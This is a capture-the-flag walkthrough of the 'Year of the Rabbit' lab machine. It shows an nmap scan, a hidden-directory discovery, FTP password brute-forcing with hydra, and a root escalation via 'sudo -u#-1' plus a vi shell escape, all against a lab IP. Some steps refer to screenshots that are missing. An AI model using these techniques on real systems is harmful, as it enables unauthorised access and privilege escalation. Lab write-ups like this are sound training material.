Year of the Rabbit

Difficulty = Easy

Running our nmap scan we have -:

# Nmap 7.94 scan initiated Mon Oct 23 04:16:09 2023 as: nmap -p80,22,21 -sCV -T4 -v --min-rate=1000 -oN nmap.txt 10.10.184.53
Nmap scan report for 10.10.184.53
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_  256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 23 04:16:29 2023 -- 1 IP address (1 host up) scanned in 19.79 seconds

We can’t login to FTP as anonymous user

Navigating to port 80/HTTP we have a default Apache2 website

No vital information on Page-Source
status code 404 in both /sitemap.xml and /robots.txt

Running dir/file bruteforce with dirseach we have only the /assets page

Navigating to the /assets the first link truly got us rick-rolled 😂

The second link, /assets/style.css, on the other hand gives us this information

Checking /sup3r_s3cr3t_fl4g.php refers us to /sup3r_s3cr3t_fl4g/ and then ask us to turn off javascript

If you click Ok you get rick-rolled one more time 😭😂

Making a request to /sup3r_s3cr3t_fl4g/ with curl we can see we have a message, No wonder we are being referred 🤔

Well, start up burpsuite and intercept the /sup3r_s3cr3t_fl4g.php page then send to repeater

Click Follow redirection at the top-bar

Nice, looks like this is what they don’t want us to see, we are been referred to the page, /intermediary.php?hidden_directory=/WExYY2Cv-qU, then from here again to http://10.10.184.53/sup3r_s3cr3t_fl4g.php, where the final rick-roll video plays

Accessing /intermediary.php?hidden_directory=/WExYY2Cv-qU , i decided to use the hidden_directory parameter value directly, which is /WExYY2Cv-qU, we have an image

Download the image with the following command

$ wget http://10.10.184.53/WExYY2Cv-qU/Hot_Babe.png

Running the strings command on the image and scrolling down gives us this

Running this command saves the passwords to a file called passwd.txt

$ strings Hot_Babe.png | tail -n 82 > passwd.txt

We can therefore bruteforce the FTP protocol with the following syntax using hydra

$ hydra -l ftpuser -P ./passwd.txt ftp://10.10.184.53 -V

Download the file to your base machine with the mget command

Concatenating the Eli's_Creds.txt file gave us a brainfuck encoded text

Converting the brainfuck gave us Eli’s credential

running the locate command on the keyword s3cr3t we have

Concatenating it gives us user gwendoline password

switch user to gwendoline

$ su gwendoline

Running sudo -l, would i say we don’t have permission to run /usr/bin/vi /home/gwendoline/user.txt as root 😆

After much lookups, using this payload we where able to view the file

$  sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

we can therefore get a root shell by adding semi-colon (:) and then !/bin/bash or you can also use :shell

Hell yeah, we are root

Have a nice day ⛹️‍♂️

sec👨‍💻fortress:~#

Defensive By Offensive!.

Year of the Rabbit

Difficulty = Easy